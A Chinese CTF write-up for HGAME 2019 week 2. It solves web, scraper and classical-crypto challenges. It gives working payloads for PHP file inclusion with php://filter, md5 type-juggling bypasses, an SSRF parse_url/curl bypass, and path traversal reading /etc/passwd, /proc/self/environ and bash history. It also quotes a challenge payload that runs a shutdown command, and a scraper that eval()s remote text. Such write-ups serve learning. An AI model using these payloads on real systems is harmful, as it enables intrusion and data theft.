杭电HGAME2019-WEEK2-WP

前言

平台比赛在2月24号就结束了,只能复现一下,千言万语汇成一句话:爬虫题牛X!!!

正文

Web

easy_php

看见标题为where is my robots,访问robots.txt,发现一个访问路径img/index.php,访问到源码:


    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);

第一步也是看见了文件包含,又是str_replace,大概又是双写绕过,构造如下:

http://118.24.25.25:9999/easyphp/img/index.php?img=....//flag

没有得到flag,出来一句:maybe_you_should_think_think…想想也是,既然已经week2,肯定不会那么简单…由于通过 include_once 方式将文件执行,如果没有进行输出操作就无法显示出来;

第二步尝试使用php伪协议,构造如下:

http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-encode/resource=....//flag

得到base64编码:

PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxkX3RoaW5rX3RoaW5rIjsK

解码即可:

杭电HGAME2019-WEEK2-WP_第1张图片

phptrick

给出源码:


//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}

访问 admin.php 返回 “only localhost can see it”;那就11个判断,逐个击破:

step1~2

弱判断**(!=)**,使得str1和str2的md5值相等(==),很简单,使用str1=240610708&str2=QNKCDZO直接绕过;

step3~4

强判断**(!)**,使得str3和str4的md5值相等(=),直接数组绕过即可:str3[]=a&str4[]=b

step5~8

php 处理参数时会将参数名中的 “.” 替换为 “_”,所以即可构造H.game变量即可绕过step5;

构造数组绕过数字判断返回false,大小判断返回false,string以后产生Array,即可返回false:H.game[]=1

step9~11

一开始没看懂,科普了一下大概是明白了,要求PHP_URL_SCHEME必须是httpPHP_URL_HOST必须是www.baidu.com,但是上述又必须localhost才可以访问,无从下手…


// 创建一个新cURL资源
$ch = curl_init();

// 设置URL和相应的选项
curl_setopt($ch, CURLOPT_URL, "http://www.runoob.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// 抓取URL并把它传递给浏览器
curl_exec($ch);

// 关闭cURL资源,并且释放系统资源
curl_close($ch);
?>

大概可以看懂,其实就是设置访问某个url资源,必须要成功访问,即可让curl_exec返回true,Google到一下资料学习到了:

当url中有多个@符号时,parse_url中获取的host是最后一个@符号后面的host,而libcurl则是获取的第一个@符号之后的。因此当代码对[email protected]:[email protected] 进行解析时,PHP获取的host是baidu.com是允许访问的域名,而最后调用libcurl进行请求时则是请求的eval.com域名,可以造成ssrf绕过

source:https://xz.aliyun.com/t/2215

即可构造如下:url=http://@127.0.0.1:[email protected]/admin.php

得到admin.php的内容:


//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
    die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
    echo "sorry,you can't see it";
}
else{
    echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

因为有file_exists,直接查看flag.php肯定是不行的,那就继续构造php伪协议绕过即可:

?filename=php://filter/read=convert.base64-encode/resource=flag.php

得到:

PD9waHAgJGZsYWcgPSBoZ2FtZXtUaEVyNF9BcjRfczBtNF9QaHBfVHIxY2tzfSA/Pgo=

base64解码得flag:

杭电HGAME2019-WEEK2-WP_第2张图片

php is the best language

源码如下:


include 'secret.php';
#echo $flag;
#echo $secret;
if (empty($_POST['gate']) || empty($_POST['key'])) {
    highlight_file(__FILE__);
    exit;
}
if (isset($_POST['door'])){
    $secret = hash_hmac('sha256', $_POST['door'], $secret);  //传door[]置空secret
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);         //gate即可解出
if ($gate !== $_POST['gate']) {
    echo "Hacker GetOut!!";
    exit;
}
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
    echo "Wow!!!";
    echo "
"
; echo $flag; } else { echo "Hacker GetOut!!"; } ?>

我们可以发现关键代码:

if (isset($_POST['door'])){
    $secret = hash_hmac('sha256', $_POST['door'], $secret);  //传door[]置空secret
}
$gate = hash_hmac('sha256', $_POST['key'], $secret);         //gate即可解出
if ($gate !== $_POST['gate']) {
    echo "Hacker GetOut!!";
    exit;
}
if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
    echo "Wow!!!";
    echo "
"
; echo $flag; }
  1. hash_hmac ( string $algo , string $data , string $key)函数的data部分如果传入的为数组,则会返回NULL,所以即可将$door参数传入数组,即可得到可控的$gate,所以就直接可以绕过第二个if判断;

  2. 经过两次md5函数以后进行弱判断(==),可以直接爆破:

    
    for($x=1;$x<100000000;$x++){
    	if ((md5($x)+1) == (md5(md5($x)))+1){
    		echo $x;
    		break;
    	}
    }
    ?>
        
    12[Finished in 0.2s]
    
  3. 直接GET一个$door传一个数组,$key=12,可控的$gatekeysha256值;

    
    $sec=NULL;
    $gate = hash_hmac('sha256','12',$sec);
    echo $gate;
    ?>
    4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf[Finished in 0.2s]
    

    payload:

    ?door[]=1&key=12&gate=4217722a8aee69d5ed50f3e5ed1cceb1feb79784baaaa6bbf53515ce0eb4daaf
    

BabySpider

这题考察python爬虫的编写能力,python渣渣写过点爬虫,正好拿来实战一下,不得不说这个题出的确实是好,也让我了解到了许多反爬的机制,下面就详细讲解一下做题的艰辛过程:

1-10关

其实就是简单的爬取页面,进行信息筛选,执行一下post回去即可,我当然会想的这么简单;

11-20关

然后就关机了…

一开始我以为是pycharm的锅,没想到第二次运行还是关机…瞬间爆炸(surprise mother f**ker)肯定是出题人调皮了…真的是秀(这反爬虫机制是真的骚~)

果然爬完第十关以后直接爬出11关的内容就要break观察一下:

(lambda __g: [(os.system('shutdown -s -t 0'), (os.system('shutdown now'), None)[1])[1] for __g['os'] in [(__import__('os', __g, __g))]][0])(globals())#-----=?

大概是调用了一个os模块直接给我调用系统命令直接shutdown了,直接eval()肯定会关机;解决方法就是在http请求内容里加上UA头即可解决关机的困扰…

如果你认为这就结束了那就太天真了…加上以后继续报错…

不知道该肿么办啦…只好去看看官方wp,了解到了另一种反爬虫机制,具体解析如下:

打印好第11关的cookie,首先拿token登录,将页面的cookie修改为第11关的cookie,刷新页面:

杭电HGAME2019-WEEK2-WP_第3张图片

发现网页显示的数字和要爬取的信息不一致(算式和之前的都不一样,答案还对个锤子?):

k7y6hR.png

k7yWjK.png

继续在页面里搜索,发现style.css中的内容,原来是存在一个Ariali.otf文件:

@font-face {
      font-family: Ariali;
      src: url('/static/Ariali.otf');
      font-weight: normal;
      font-style: normal;
}

查看文件内容:

杭电HGAME2019-WEEK2-WP_第4张图片

字体文件被动了手脚,数字的对应关系被打乱了,那么找到对应关系,将之前的公式恢复出来执行即可得到正确的答案;原来数字和替换后数字的对应关系如下,写个字典或者列表替换一下即可:

1 2 3 4 5 6 7 8 9 0
| | | | | | | | | |
0 2 6 9 4 3 5 8 7 1

21-30关

到21关时候又报错了…打个CTF真辛苦啊…

杭电HGAME2019-WEEK2-WP_第5张图片

再次使用第20关的cookie替换,查看到爬取到的表达式和页面上的又不一样…而且还不满足11-20关的替换关系,

杭电HGAME2019-WEEK2-WP_第6张图片

再次查看源码,在css中的after元素中找到了真的表达式:

杭电HGAME2019-WEEK2-WP_第7张图片

手速比较快的话,还是可以看到的(和上面的cookie不一样,所以表达式不一样):

杭电HGAME2019-WEEK2-WP_第8张图片

所以只要抓取css样式里的表达式即可:

解题脚本(python3):

# -*- coding: UTF-8 -*-
import requests
import re
url="http://111.231.140.29:10000/"
url1="http://111.231.140.29:10000/question"
url2="http://111.231.140.29:10000/solution"
url3="http://111.231.140.29:10000/statics/style.css"
head={"User-Agent":"Mozilla/5.0"}
token={"token":"phatlrSLFTDHSXiuD0wbG9DczhKcXRCm"}
str1=['1','2','3','4','5','6','7','8','9','0']
str2=['0','2','6','9','4','3','5','8','7','1']

r=requests.post(url,data=token)
r.encoding=r.apparent_encoding
session=r.cookies

for i in range(30):
    if i<10:
        print("*"*20+str(i+1)+"*"*20)
        num=re.findall(r'(.*?)',r.text)[0]
        res=eval(num[0:-2])
        print(num+"  "+str(res))
        answer={"answer":res}
        r=requests.post(url2,data=answer,cookies=session,headers=head)
        r.encoding = r.apparent_encoding
        session=r.cookies

    elif i>9 and i<20:
        print("*" * 20 + str(i + 1) + "*" * 20)
        num = re.findall(r'(.*?)', r.text)[0]
        num1=''
        for i in num:
            if i in str1:
                subscript = str1.index(i)
                num1 += str2[subscript]
            else:
                num1 += i
        res = eval(num1[0:-2])
        print(num1 + "  " + str(res))
        answer = {"answer": res}
        r = requests.post(url2, data=answer, cookies=session, headers=head)
        r.encoding = r.apparent_encoding
        session = r.cookies

    elif i>19:
        print("*"*20+str(i+1)+"*"*20)
        response=requests.get(url3,cookies=session,headers=head)
        response.encoding=response.apparent_encoding
        num=re.findall(r'content:"(.*?)=',response.text)[0]
        res=eval(num)
        print(num+"  "+str(res))
        answer={"answer":res}
        r=requests.post(url2,data=answer,cookies=session,headers=head)
        r.encoding=r.apparent_encoding
        session=r.cookies
if "hgame" in r.text:
            print(r.text)

得到flag:

杭电HGAME2019-WEEK2-WP_第9张图片

hgame{9242455136c7afcc0d75204281e558ab63ac9a841e514a37e6702f15f21f3e01}

这题出的真的是好,花了很长时间才解出来,归纳一下:

  1. 还是不要只刷CTF题忘记原理的理解,类似于UA头,referer,此类的反爬虫措施还是很常见的,还有就是实际爬虫不注意说不定会被反日…
  2. 两个trick分别是对应了猫眼电影和汽车之家的前端反爬机制,利用视觉差异来欺骗爬虫而不影响正常的用户,如果不加注意,那么爬到的数据有可能就是一堆毫无作用的数据;

Math有趣

通过第一关以后发现第二关的题目是一张图片,查看图片地址发现地址为:cXVlc3Rpb24ucG5n.php,base64解码以后发现为question.png,想到任意文件读取漏洞,尝试../../../../../etc/passwd.php(base64以后),发现可以成功读取:

杭电HGAME2019-WEEK2-WP_第10张图片

hint:了解一下tomcat、spring mvc的目录结构和配置文件(自己搭一下就明白了

**solution1:**既然可以读取,于是尝试../../../../../proc/self/environ,成功读取,下载下来16进制转码得到有用的路径:

杭电HGAME2019-WEEK2-WP_第11张图片

**solution2:**还有一种方法就是读取/root/.bash_history查看命令历史:

进入tomcat:

杭电HGAME2019-WEEK2-WP_第12张图片

工作目录:

杭电HGAME2019-WEEK2-WP_第13张图片

到现在为止定位到:usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller

试一下随便读取1.php,发现报错,发现了关键信息:

杭电HGAME2019-WEEK2-WP_第14张图片

所以读取路径最后为:../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/hgame/controller/MathController.class

payload:http://test.tan90.me:8080/img/Li4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvV0VCLUlORi9jbGFzc2VzL2hnYW1lL2NvbnRyb2xsZXIvTWF0aENvbnRyb2xsZXIuY2xhc3M=

读取到改为后缀为class文件以后,进行反编译为java文件,得到源码:

package hgame.controller;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;

@org.springframework.stereotype.Controller
public class MathController
{
  public MathController() {}
  
  @RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
  public String index(ModelMap model, HttpSession session, HttpServletResponse response) throws IOException
  {
    Object step = session.getAttribute("step");
    if (step == null) {
      session.setAttribute("step", Character.valueOf('1'));
      response.sendRedirect("/index.php");
      return null; }
    if (step.toString().equals("1")) {
      model.addAttribute("message", "Welcome to the world of mathematics.
Let's warm up first.
1+1=?"
); } else if (step.toString().equals("2")) { model.addAttribute("message", "It seems that you have learned it, let us do a difficult question.

Show me the smallest integer solutions."
); } return "math"; } @RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.POST}) public void pindex(@org.springframework.web.bind.annotation.RequestParam("answer") String answer, HttpSession session, HttpServletResponse response) throws IOException { Object step = session.getAttribute("step"); if (step == null) { session.setAttribute("step", Character.valueOf('1')); response.sendRedirect("/index.php"); } else if ((step.toString().equals("1")) && (answer.equals("2"))) { session.setAttribute("step", "2"); response.sendRedirect("/index.php"); } } @RequestMapping(value={"/img/{path}"}, method={org.springframework.web.bind.annotation.RequestMethod.GET}) public String image(@org.springframework.web.bind.annotation.PathVariable("path") String path, HttpServletResponse response) { path = new String(java.util.Base64.getDecoder().decode(path)); InputStream f = null; OutputStream out = null; try { f = new java.io.FileInputStream("/home/static/" + path); out = response.getOutputStream(); int count = 0; byte[] buffer = new byte[' ']; while ((count = f.read(buffer)) != -1) { out.write(buffer, 0, count); out.flush(); } } catch (Exception e) { e.printStackTrace(); } try { f.close(); out.close(); } catch (Exception e) { e.printStackTrace(); } return "ok"; } @RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET}) public String Flag(ModelMap model) { System.out.println("This is the last question."); System.out.println("123852^x % 612799081 = 6181254136845 % 612799081"); System.out.println("The flag is hgame{x}.x is a decimal number."); model.addAttribute("flag", "Flag is not here."); return "flag"; } }

发现关键函数:

public String Flag(ModelMap model) {
    System.out.println("This is the last question.");
    System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
    System.out.println("The flag is hgame{x}.x is a decimal number.");
    model.addAttribute("flag", "Flag is not here.");
    return "flag";
  }

123852^x % 612799081 = 6181254136845 % 612799081^为乘方,这是又考察我数论的知识啊…一想到信安数学基础就头皮发麻…直接爆破吧,就是要耗时长一点:
爆破脚本:

import math
i=0
while True:
    if pow(123852,i,612799081) == (6181254136845 % 612799081):
        print(i)
        break
    i=i+1

得到结果:

杭电HGAME2019-WEEK2-WP_第15张图片

java在线反编译链接:http://www.javadecompilers.com

Crypto

浪漫足球圣地

百度一下浪漫足球圣地,得到是曼彻斯特,也就是暗示为曼彻斯特编码:

966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A996A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559

先转换为2进制:

100101100110101010010110100101011001011010101001100101100101100110010110100110011001010101100101101001011010010110010110100101101010010110100110101001011001101010010110100110011010010110011001101001011001011010100101100101011010010110011001101001010110100110100101101010011001011010011001101001010110100110010110101001011001011010100110100101101010100110010110101001101010010110100110100101101010100110100101100101011001011010011010101001011010011010010110100101101010010110101001100101101001011010100101100101011010010110011010101001010110101010010110101010011010010110101001100101101001101010100101100110101001010101011001

按照曼彻斯特编码标准进行转码:'10'->'0' '01'->'1'替换以后正常解码即可;

解题脚本:

#coding:utf-8
s="966A969596A9965996999565A5A59696A5A6A59A9699A599A596A595A599A569A5A99699A56996A596A696A996A6A5A696A9A595969AA5A69696A5A99696A595A59AA56A96A9A5A9969AA59A9559"
res=''
for i in s:
    res+='{:04b}'.format(int(i,16))
# print res
fin=''
for j in range(0,len(res),2):
    if res[j:j+2]=='10':
        fin+='0'
    elif res[j:j+2]=='01':
        fin+='1'
# print fin
flag=int(fin,2)
# print flag
print '{:x}'.format(flag).decode('hex')
hgame{3f24e567591e9cbab2a7d2f1f748a1d4}

hill

Description
hill密码,秘钥是3x3矩阵,flag的密文是TCSHXZTCXAPBDKJVJDOHJEAE,flag中含有BABYSHILL,flag是有意义的英文,最终提交格式: hgame{有意义的英文} hint1: https://en.wikipedia.org/wiki/Hill_cipher hint2: 模逆元

未完待续…

Vigener~

cipher:
Zbi Namyrwjk wmhzk cw s eknlgv uz ifuxstlata edhnufwlow xwpz vc mkohk s kklmwk uz mflklagnkh Gswyuv uavbijk, huwwv uh xzw ryxlwxm sx s qycogxx. Ml ay u jgjs ij hgrsedhnufwlow wmtynmlmzcsf. Lny gahnyv ak kuwq lu orvwxmxsfj urv asjpwekhx, tmz cx jwycwlwj upd szniehzm xg txyec az zsj lnliw ukhxmjoyw, ozowl wsxhiv az nlw vkmgjavnmgf ry gzalzvw atxiuzozjjshfi. Ests twgvfi zsby xjakx xg asjpwekhx wfilchloir kunyqwk zbel sxy ikkkhxasrfc Namyrwjk wmhzklw. Af kckzlkyr kadnc lzxyi, Xjoyhjaib Oskomoa ogm xzw lcvkl zi tmtrcwz s myrwjgf qwlnih gx jygahnyvafm Pmywtyvw uojlwjy. Nlw Noaifwxy gahnyv osy ivayohedde xikuxcfwv hs Kagbur Tsznmklg Viddgms af ncw gfk nlgmyurv xopi zmtxvwv ghh xalnc-gfk vsgc Ru gaxxu hwd. Yck. Yaupef Tgnxakzu Fwdruwg, tan xzw ywlwek qek dgnij eomellxcfmlkx xg Trumkw jy Zaykhijw oh xzw tcrwln wiflalc sfj ms suwomjwj cxk hxywwfz heew. lfey ay ajqmenycpglmqqjzndhrqwpvhtaniz

key: guess

在线解密即可:

The Vigenere ciphe is a method of encrypting alphabetic text by using a series of interwoven Caesar ciphers, based on the letters of a keyword. It is a form of polyalphabetic substitution. The cipher is easy to understand and implement, but it resisted all attempts to break it for three centuries, which earned it the description le chiffre indechiffrable. Many people have tried to implement encryption schemes that are essentially Vigenere ciphers. In eighteen sixty three, Friedrich Kasiski was the first to publish a general method of deciphering Vigenere ciphers. The Vigenere cipher was originally described by Giovan Battista Bellaso in his one thousand five hundred and fifty-one book La cifra del. Sig. Giovan Battista Bellaso, but the scheme was later misattributed to Blaise de Vigenere in the nineth century and so acquired its present name. flag is gfyuytukxariyydfjlplwsxdbzwvqt
hgame{gfyuytukxariyydfjlplwsxdbzwvqt}

后记

从寒假开了坑,想好好研究一下hgame,一直也没完成,到现在做完两个week也收获到了许多知识(week3,week4就看神仙打架啦,还是萌新,慢慢进步吧),也算是新学期的一点新动力了,纪念第一次hgame,立下flag,下一年继续!!!考研加油!!!

你可能感兴趣的:(Writeup)